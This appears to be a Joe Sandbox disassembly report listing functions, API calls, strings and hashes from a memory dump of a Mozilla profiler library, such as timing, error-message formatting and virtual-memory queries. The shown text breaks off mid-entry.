API ID: BaseDurationPlatformSeconds@TimeUtils@mozilla@@$CriticalSection$EnterInit_thread_footerLeavegetenv
String ID: MOZ_PROFILER_RECORD_OVERHEADS
API String ID: 1227157289-345010206
Opcode ID: 38c29518fbf998a04b3c77abe7e8addb0b3b3e67e0c6b99a09e5dd8b88863313
Instruction ID: 2304d20da3e2b30f26adf30917c94eb7bf348b842a10e4c692261cd6071add6e
Opcode Fuzzy Hash: 38c29518fbf998a04b3c77abe7e8addb0b3b3e67e0c6b99a09e5dd8b88863313
Instruction Fuzzy Hash: DBE19F77814F458AC712CF34885022BB7B6BFAB394F109B4EE8AE2A561DF34E4568741

Function 6BF77030 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 54windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 6BF77046
FormatMessageA.KERNEL32(00001300,00000000,00000000,00000400,?,00000000,00000000), ref: 6BF77060
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6BF7707E

Part of subcall function 6BF281B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6BF281DE

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6BF77096
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6BF7709C
LocalFree.KERNEL32(?), ref: 6BF770AA

Strings

### ERROR: %s: %s, xrefs: 6BF77087
(null), xrefs: 6BF7706A, 6BF77083

Memory Dump Source

Source File: 00000004.00000002.2347785472.000000006BF11000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6BF10000, based on PE: true

Associated: 00000004.00000002.2347749431.000000006BF10000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347880042.000000006BF8D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347923754.000000006BF9E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347969818.000000006BFA2000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6bf10000_NU4SX64NXMV3YXYV8G3PIA0S0.jbxd

Similarity

API ID: __acrt_iob_func$ErrorFormatFreeLastLocalMessage__stdio_common_vfprintffflush
String ID: ### ERROR: %s: %s$(null)
API String ID: 2989430195-1695379354
Opcode ID: bef30d5b8ca03aec763877b41ea1b464ae209c96a986efe0b77c4fd3e26fbf41
Instruction ID: 8c040981c4e2048be001e12846f65cce272902ba09c8f8202778016a07f492ef
Opcode Fuzzy Hash: bef30d5b8ca03aec763877b41ea1b464ae209c96a986efe0b77c4fd3e26fbf41
Instruction Fuzzy Hash: CD01BEB29101086FEF047BB5DC4EEAF7BBCEF49255F010424F605A3162D675A9198BA1

Function 6BF3C0E0 Relevance: 11.2, APIs: 4, Strings: 2, Instructions: 728COMMON

Download Yara Rule

Strings

MOZ_CRASH(), xrefs: 6BF3D4BB
0123456789abcdef, xrefs: 6BF3C317

Memory Dump Source

Source File: 00000004.00000002.2347785472.000000006BF11000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6BF10000, based on PE: true

Associated: 00000004.00000002.2347749431.000000006BF10000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347880042.000000006BF8D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347923754.000000006BF9E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347969818.000000006BFA2000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6bf10000_NU4SX64NXMV3YXYV8G3PIA0S0.jbxd

Similarity

API ID:
String ID: 0123456789abcdef$MOZ_CRASH()
API String ID: 0-3968268099
Opcode ID: b72ccb6816c117d4ddd8f01a6903091ef78ad297d53a4b3142f497716d9b9111
Instruction ID: 7cbeab82b4d32db33ab40e12786d71162413fb089e9ecf1f78f61d72e7994aee
Opcode Fuzzy Hash: b72ccb6816c117d4ddd8f01a6903091ef78ad297d53a4b3142f497716d9b9111
Instruction Fuzzy Hash: AB522576A483618FD724CF28C45075AB7E2FF86714F14885DE8E6873A1D739984ACBC2

Function 6BF7B910 Relevance: 9.1, APIs: 6, Instructions: 146nativeCOMMON

Download Yara Rule

APIs

Part of subcall function 6BF29B80: GetSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,?,6BF7B92D), ref: 6BF29BC8
Part of subcall function 6BF29B80: __Init_thread_footer.LIBCMT ref: 6BF29BDB

rand_s.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6BF203D4,?), ref: 6BF7B955
NtQueryVirtualMemory.NTDLL ref: 6BF7B9A5
NtQueryVirtualMemory.NTDLL ref: 6BF7BA20
RtlNtStatusToDosError.NTDLL ref: 6BF7BA7B
RtlSetLastWin32Error.NTDLL(00000000,00000000,00000000,?,00000000,?,0000001C,00000000), ref: 6BF7BA81
GetLastError.KERNEL32(00000000,00000000,00000000,?,00000000,?,0000001C,00000000), ref: 6BF7BA86

Memory Dump Source

Source File: 00000004.00000002.2347785472.000000006BF11000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6BF10000, based on PE: true

Associated: 00000004.00000002.2347749431.000000006BF10000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347880042.000000006BF8D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347923754.000000006BF9E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347969818.000000006BFA2000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6bf10000_NU4SX64NXMV3YXYV8G3PIA0S0.jbxd

Similarity

API ID: Error$LastMemoryQueryVirtual$InfoInit_thread_footerStatusSystemWin32rand_s
String ID:
API String ID: 1753913139-0
Opcode ID: d637b5dca65da110ed7e0fda191237c4e0cca8831a90badc1befff994c5ddf16
Instruction ID: f462982a5e64be5b94b113dabeeacf0845abce29ba41fa7a336d193934909245
Opcode Fuzzy Hash: d637b5dca65da110ed7e0fda191237c4e0cca8831a90badc1befff994c5ddf16
Instruction Fuzzy Hash: B251A372E00219DFEF24EFA8E891ADDB776EF89304F104566E901B7221D738AD418B90

Function 6BF773E0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 23libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(user32.dll,?,?,6BF2434E), ref: 6BF773EB
GetProcAddress.KERNEL32(00000000,SetProcessDpiAwarenessContext), ref: 6BF77404
FreeLibrary.KERNEL32(?,?,6BF2434E), ref: 6BF77413

Strings

user32.dll, xrefs: 6BF773E6
SetProcessDpiAwarenessContext, xrefs: 6BF773FE

Memory Dump Source

Source File: 00000004.00000002.2347785472.000000006BF11000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6BF10000, based on PE: true

Associated: 00000004.00000002.2347749431.000000006BF10000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347880042.000000006BF8D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347923754.000000006BF9E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347969818.000000006BFA2000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6bf10000_NU4SX64NXMV3YXYV8G3PIA0S0.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: SetProcessDpiAwarenessContext$user32.dll
API String ID: 145871493-397433131
Opcode ID: 872d966156397b91544be6350fb63434d259b80cb1920c8825b14465e93e93c1
Instruction ID: 5c5484c583cc1cd03b0a90bee5b5f4c58d01350c9608a63ec272be38e1e29437
Opcode Fuzzy Hash: 872d966156397b91544be6350fb63434d259b80cb1920c8825b14465e93e93c1
Instruction Fuzzy Hash: F4E01A715113129BE7207FA5E818702BAECEB05245F108C7AEB85C3321E7B5D4018B50

Function 6BF29F00 Relevance: 8.5, Strings: 6, Instructions: 1039COMMON

Download Yara Rule

Strings

' , xrefs: 6BF2A3D8
1, xrefs: 6BF2A824
9, xrefs: 6BF2A5D6
@, xrefs: 6BF2A625
0, xrefs: 6BF2A100
0, xrefs: 6BF2AB22

Memory Dump Source

Source File: 00000004.00000002.2347785472.000000006BF11000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6BF10000, based on PE: true

Associated: 00000004.00000002.2347749431.000000006BF10000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347880042.000000006BF8D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347923754.000000006BF9E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347969818.000000006BFA2000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6bf10000_NU4SX64NXMV3YXYV8G3PIA0S0.jbxd

Similarity

API ID:
String ID: ' $0$0$1$9$@
API String ID: 0-2946122015
Opcode ID: 824667906530b054c64a337e5847614c968486827907b5b5a441e34ac97c4ab8
Instruction ID: 34a3177af1bd74621729b03234c7537ce1cc2243de7c73f6148c726074a14cb4
Opcode Fuzzy Hash: 824667906530b054c64a337e5847614c968486827907b5b5a441e34ac97c4ab8
Instruction Fuzzy Hash: 2082C0339087158FD715CF98C59026EB7F2FB85710F5189AAE8E5472B4D33DA886CB82

Function 6BF1BEF0 Relevance: 8.2, APIs: 5, Instructions: 652COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6BF1C1CB
__aulldiv.LIBCMT ref: 6BF1C24C
__aulldiv.LIBCMT ref: 6BF1C348
__aullrem.LIBCMT ref: 6BF1C365
__aulldiv.LIBCMT ref: 6BF1C37D

Memory Dump Source

Source File: 00000004.00000002.2347785472.000000006BF11000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6BF10000, based on PE: true

Associated: 00000004.00000002.2347749431.000000006BF10000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347880042.000000006BF8D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347923754.000000006BF9E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347969818.000000006BFA2000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6bf10000_NU4SX64NXMV3YXYV8G3PIA0S0.jbxd

Similarity

API ID: __aulldiv$__aullrem
String ID:
API String ID: 2022606265-0
Opcode ID: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction ID: e6323e049dee7339c524763b3f2a27e6ba081d7518b9fbd63658af84e72c7fbe
Opcode Fuzzy Hash: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction Fuzzy Hash: 7432F532B186128FC718CE2CC891656BBE6AFC9310F098A7DE599CB3A5D734DD05CB91

Function 6BF58AC0 Relevance: 7.7, APIs: 5, Instructions: 174timeCOMMON

Download Yara Rule

APIs

Part of subcall function 6BF4FA80: GetCurrentThreadId.KERNEL32 ref: 6BF4FA8D
Part of subcall function 6BF4FA80: AcquireSRWLockExclusive.KERNEL32(6BF9F448), ref: 6BF4FA99

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,6BF71563), ref: 6BF58BD5
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,6BF71563), ref: 6BF58C3A
ReleaseSRWLockExclusive.KERNEL32(-00000018,?,?,?,?,?,?,?,?,?,?,?,6BF71563), ref: 6BF58C74
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,6BF71563), ref: 6BF58CBA
free.MOZGLUE(?), ref: 6BF58CCF

Memory Dump Source

Source File: 00000004.00000002.2347785472.000000006BF11000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6BF10000, based on PE: true

Associated: 00000004.00000002.2347749431.000000006BF10000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347880042.000000006BF8D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347923754.000000006BF9E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347969818.000000006BFA2000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6bf10000_NU4SX64NXMV3YXYV8G3PIA0S0.jbxd

Similarity

API ID: ExclusiveLockNow@Stamp@mozilla@@TimeV12@_free$AcquireCurrentReleaseThread
String ID:
API String ID: 2153970598-0
Opcode ID: acfaf6ee6993bb657cb62def5a356b2c81059a60f13025e90d90f135a2f5f0a7
Instruction ID: 8439316e9ec34694b93466df8c5528468d144e4edddbc77919e2a2da93828a37
Opcode Fuzzy Hash: acfaf6ee6993bb657cb62def5a356b2c81059a60f13025e90d90f135a2f5f0a7
Instruction Fuzzy Hash: 68718176A14B01CFD704CF29C48062AB7F1FF99314F458A9DE9899B362E774E884CB81

Function 6BF1F280 Relevance: 7.6, APIs: 5, Instructions: 87nativelibraryloaderCOMMON

Download Yara Rule

APIs

NtQueryVirtualMemory.NTDLL ref: 6BF1F2B4
GetProcAddress.KERNEL32(00000000,?), ref: 6BF1F2F0
NtQueryVirtualMemory.NTDLL ref: 6BF1F308
RtlNtStatusToDosError.NTDLL ref: 6BF1F36B
RtlSetLastWin32Error.NTDLL(00000000,00000000,000000FF,?,00000000,?,0000001C,?), ref: 6BF1F371

Memory Dump Source

Source File: 00000004.00000002.2347785472.000000006BF11000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6BF10000, based on PE: true

Associated: 00000004.00000002.2347749431.000000006BF10000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347880042.000000006BF8D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347923754.000000006BF9E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347969818.000000006BFA2000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6bf10000_NU4SX64NXMV3YXYV8G3PIA0S0.jbxd

Similarity

API ID: ErrorMemoryQueryVirtual$AddressLastProcStatusWin32
String ID:
API String ID: 1171715205-0
Opcode ID: f1593e73c465025c1a6acb073bdbaaa006f20cfb3926d11928e1d3fd0b017c47
Instruction ID: 9e6a424bce1df6e22409461ef307249457ac740556c2398799590db1999f4ac5
Opcode Fuzzy Hash: f1593e73c465025c1a6acb073bdbaaa006f20cfb3926d11928e1d3fd0b017c47
Instruction Fuzzy Hash: 0721D6B2A04309DFEF508A65DD85BEF77B8EB44358F004729E420961E0D7BCD998CB61

Function 6BF15340 Relevance: 7.1, APIs: 4, Instructions: 1077COMMON

Download Yara Rule

APIs

ceil.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6BF15406
memcpy.VCRUNTIME140(?,?,?,?), ref: 6BF157F6

Memory Dump Source

Source File: 00000004.00000002.2347785472.000000006BF11000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6BF10000, based on PE: true

Associated: 00000004.00000002.2347749431.000000006BF10000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347880042.000000006BF8D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347923754.000000006BF9E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347969818.000000006BFA2000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6bf10000_NU4SX64NXMV3YXYV8G3PIA0S0.jbxd

Similarity

API ID: ceilmemcpy
String ID:
API String ID: 748650655-0
Opcode ID: 41cd8bd371c6dd1eb5c1651128f6b85eceeb145dc9100dc2d503ed3d3e1e55fd
Instruction ID: 9f30fd679f501e40f6c60c4d3106ae17aa5de41a8d6f99119c0137fb3352e53c
Opcode Fuzzy Hash: 41cd8bd371c6dd1eb5c1651128f6b85eceeb145dc9100dc2d503ed3d3e1e55fd
Instruction Fuzzy Hash: 41927F72A0C7518BC714CF28C89079FB7E2AFC8714F158E2DE999973A0D7799845CB82

Function 6BF853C8 Relevance: 6.6, APIs: 5, Instructions: 310COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6BF886AE

Memory Dump Source

Source File: 00000004.00000002.2347785472.000000006BF11000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6BF10000, based on PE: true

Associated: 00000004.00000002.2347749431.000000006BF10000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347880042.000000006BF8D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347923754.000000006BF9E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347969818.000000006BFA2000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6bf10000_NU4SX64NXMV3YXYV8G3PIA0S0.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 020699a8d883c895cbf1e7bdb6619c7a9db3bf51279c0ce3409d4d95b83b76bf
Instruction ID: 13b4cafd4f3319eeb6618c7f9281371f0a20f7b3b3657fe76dc2a4215ee7658f
Opcode Fuzzy Hash: 020699a8d883c895cbf1e7bdb6619c7a9db3bf51279c0ce3409d4d95b83b76bf
Instruction Fuzzy Hash: 2FC1B273A0011A8FCB14CF68CC91BEDB7B2EF85314F1542A9C949EB395D734A995CB90

Function 6BF850C7 Relevance: 6.5, APIs: 5, Instructions: 280COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6BF88E18
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6BF8925C

Memory Dump Source

Source File: 00000004.00000002.2347785472.000000006BF11000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6BF10000, based on PE: true

Associated: 00000004.00000002.2347749431.000000006BF10000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347880042.000000006BF8D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347923754.000000006BF9E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347969818.000000006BFA2000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6bf10000_NU4SX64NXMV3YXYV8G3PIA0S0.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 8a04f876341ba59a6ddb8d2d2d5789db075aee54b4cc3de998e3f034435ba008
Instruction ID: 32640cc9ff0dd6efcf38c3a475ae3ed80b3823e5b32a04a0e1e3b6b9e104aad7
Opcode Fuzzy Hash: 8a04f876341ba59a6ddb8d2d2d5789db075aee54b4cc3de998e3f034435ba008
Instruction Fuzzy Hash: 98A1C473E0011A8FCB14CF68CC817E9B7B2AF95314F1942B9C949EB395D734A999CB90

Function 6BF677A0 Relevance: 6.3, APIs: 4, Instructions: 291timeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6BF67A81
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6BF67A93

Part of subcall function 6BF35C50: GetTickCount64.KERNEL32 ref: 6BF35D40
Part of subcall function 6BF35C50: EnterCriticalSection.KERNEL32(6BF9F688), ref: 6BF35D67

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6BF67AA1

Part of subcall function 6BF35C50: __aulldiv.LIBCMT ref: 6BF35DB4
Part of subcall function 6BF35C50: LeaveCriticalSection.KERNEL32(6BF9F688), ref: 6BF35DED

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(FFFFFFFE,?,?,?), ref: 6BF67B31

Memory Dump Source

Source File: 00000004.00000002.2347785472.000000006BF11000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6BF10000, based on PE: true

Associated: 00000004.00000002.2347749431.000000006BF10000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347880042.000000006BF8D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347923754.000000006BF9E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347969818.000000006BFA2000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6bf10000_NU4SX64NXMV3YXYV8G3PIA0S0.jbxd

Similarity

API ID: Time$CriticalSectionStampV01@@Value@mozilla@@$BaseCount64DurationEnterLeaveNow@PlatformSeconds@Stamp@mozilla@@TickUtils@mozilla@@V12@___aulldiv
String ID:
API String ID: 4054851604-0
Opcode ID: 5e25dd5a6fc062bb701992779826322a5773225bfbd8646f28847db4c0f98a25
Instruction ID: 393b744f42779a17e2b6c538c5c76f1614cf89cafe2efed58018fd03416863d9
Opcode Fuzzy Hash: 5e25dd5a6fc062bb701992779826322a5773225bfbd8646f28847db4c0f98a25
Instruction Fuzzy Hash: 91B1AC366083818BCB15CF34C05065FB7E2AFC5394F154A5CED95A72A1EB78ED0ACB82

Function 6BF38850 Relevance: 6.1, APIs: 1, Strings: 2, Instructions: 1567COMMON

Download Yara Rule

Strings

MOZ_CRASH(), xrefs: 6BF397EA
MOZ_RELEASE_ASSERT(mNode), xrefs: 6BF39813, 6BF3985D, 6BF39878, 6BF39CEB

Memory Dump Source

Source File: 00000004.00000002.2347785472.000000006BF11000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6BF10000, based on PE: true

Associated: 00000004.00000002.2347749431.000000006BF10000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347880042.000000006BF8D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347923754.000000006BF9E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347969818.000000006BFA2000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6bf10000_NU4SX64NXMV3YXYV8G3PIA0S0.jbxd

Similarity

API ID:
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 0-3566792288
Opcode ID: 6f64c23710c5c18c6e918e1a12c63a78c1f3464cf96e2074f7073347ec75732d
Instruction ID: 461c27e196979e8c3115ff59200d8593bec34efa0f86dd4c70c8c6f6894bd39f
Opcode Fuzzy Hash: 6f64c23710c5c18c6e918e1a12c63a78c1f3464cf96e2074f7073347ec75732d
Instruction Fuzzy Hash: 0FD28072A056118FD718CF18C590715FBE1BF85724F29C7ADD86A8B3A6DB39E841CB80

Function 6BF1C9A0 Relevance: 4.9, APIs: 3, Instructions: 401COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6BF1C9B8
__aullrem.LIBCMT ref: 6BF1C9D5
__aulldiv.LIBCMT ref: 6BF1C9E9

Memory Dump Source

Source File: 00000004.00000002.2347785472.000000006BF11000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6BF10000, based on PE: true

Associated: 00000004.00000002.2347749431.000000006BF10000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347880042.000000006BF8D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347923754.000000006BF9E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347969818.000000006BFA2000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6bf10000_NU4SX64NXMV3YXYV8G3PIA0S0.jbxd

Similarity

API ID: __aulldiv$__aullrem
String ID:
API String ID: 2022606265-0
Opcode ID: 612058c565d8dfe11c540b5902d1cd7536720848508e5d75adec41c70616758b
Instruction ID: bb93f0a0a6a6d4202e5a8cf64358838e0ce5ffaec272aa3186afe683c3c49380
Opcode Fuzzy Hash: 612058c565d8dfe11c540b5902d1cd7536720848508e5d75adec41c70616758b
Instruction Fuzzy Hash: A7E12632B045468FCB18CE2CC8919A6BBE6EF89310B19867DE855DF396D734ED05C790

Function 6BF7B700 Relevance: 4.5, APIs: 3, Instructions: 41nativeCOMMON

Download Yara Rule

APIs

NtQueryVirtualMemory.NTDLL ref: 6BF7B720
RtlNtStatusToDosError.NTDLL ref: 6BF7B75A
RtlSetLastWin32Error.NTDLL(00000000,00000000,000000FF,00000000,00000000,?,0000001C,6BF4FE3F,00000000,00000000,?,?,00000000,?,6BF4FE3F), ref: 6BF7B760

Memory Dump Source

Source File: 00000004.00000002.2347785472.000000006BF11000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6BF10000, based on PE: true

Associated: 00000004.00000002.2347749431.000000006BF10000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347880042.000000006BF8D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347923754.000000006BF9E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347969818.000000006BFA2000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6bf10000_NU4SX64NXMV3YXYV8G3PIA0S0.jbxd

Similarity

API ID: Error$LastMemoryQueryStatusVirtualWin32
String ID:
API String ID: 304294125-0
Opcode ID: 47ef94e6cb8a310526e0aedf977c6d10c97627c129b927439fbdb435e1499da6
Instruction ID: 3642525081d93885e3147a7ea402ea6339ff93843b2a6d19e7e39ed2a4e11b07
Opcode Fuzzy Hash: 47ef94e6cb8a310526e0aedf977c6d10c97627c129b927439fbdb435e1499da6
Instruction Fuzzy Hash: 1EF0FFB290020DAEEF11ABB09C96BEE77BC9B04319F0046BAE101650E2C77C9588CA60

Function 6BF3A940 Relevance: 4.2, APIs: 2, Instructions: 1239COMMON

Download Yara Rule

APIs

ceil.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6BF3AAD4
ceil.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6BF3B15F

Memory Dump Source

Source File: 00000004.00000002.2347785472.000000006BF11000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6BF10000, based on PE: true

Associated: 00000004.00000002.2347749431.000000006BF10000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347880042.000000006BF8D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347923754.000000006BF9E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347969818.000000006BFA2000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6bf10000_NU4SX64NXMV3YXYV8G3PIA0S0.jbxd

Similarity

API ID: ceil
String ID:
API String ID: 3069211559-0
Opcode ID: 45d9ebadc2862646945eb213c710fa41e989be2badf36d343e61eaa9313b5205
Instruction ID: f71e7c43df73582338b5dd139a923ad6511a8df558706521add956998f363bd0
Opcode Fuzzy Hash: 45d9ebadc2862646945eb213c710fa41e989be2badf36d343e61eaa9313b5205
Instruction Fuzzy Hash: A7B21772A087518FC714CF2DC49065AF7E2BFC8710F158A2DF8A9973A5D774E8498B82

Function 6BF6B970 Relevance: 3.9, APIs: 3, Instructions: 183COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,00100000,?,6BF6D115,?,?,?,?,00000000,?,6BF5DA31,00100000,?,?,00000000), ref: 6BF6BA40
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,00100000,?,6BF6D115,?,?,?,?,00000000,?,6BF5DA31,00100000,?,?,00000000), ref: 6BF6BAEB
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,6BF6D115,?,?,?,?,00000000,?,6BF5DA31,00100000,?,?), ref: 6BF6BB7D

Memory Dump Source

Source File: 00000004.00000002.2347785472.000000006BF11000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6BF10000, based on PE: true

Associated: 00000004.00000002.2347749431.000000006BF10000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347880042.000000006BF8D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347923754.000000006BF9E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347969818.000000006BFA2000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6bf10000_NU4SX64NXMV3YXYV8G3PIA0S0.jbxd

Similarity

API ID: malloc$free
String ID:
API String ID: 1480856625-0
Opcode ID: 8b5bdfe68296fa8346c9b37fab23fe03058c39c0f341fc059fe2d878042a55a3
Instruction ID: 2080fbe5a55448e09370871307cb2dd9ecc6f8fb8c4817147cb9b60f7aeafa9a
Opcode Fuzzy Hash: 8b5bdfe68296fa8346c9b37fab23fe03058c39c0f341fc059fe2d878042a55a3
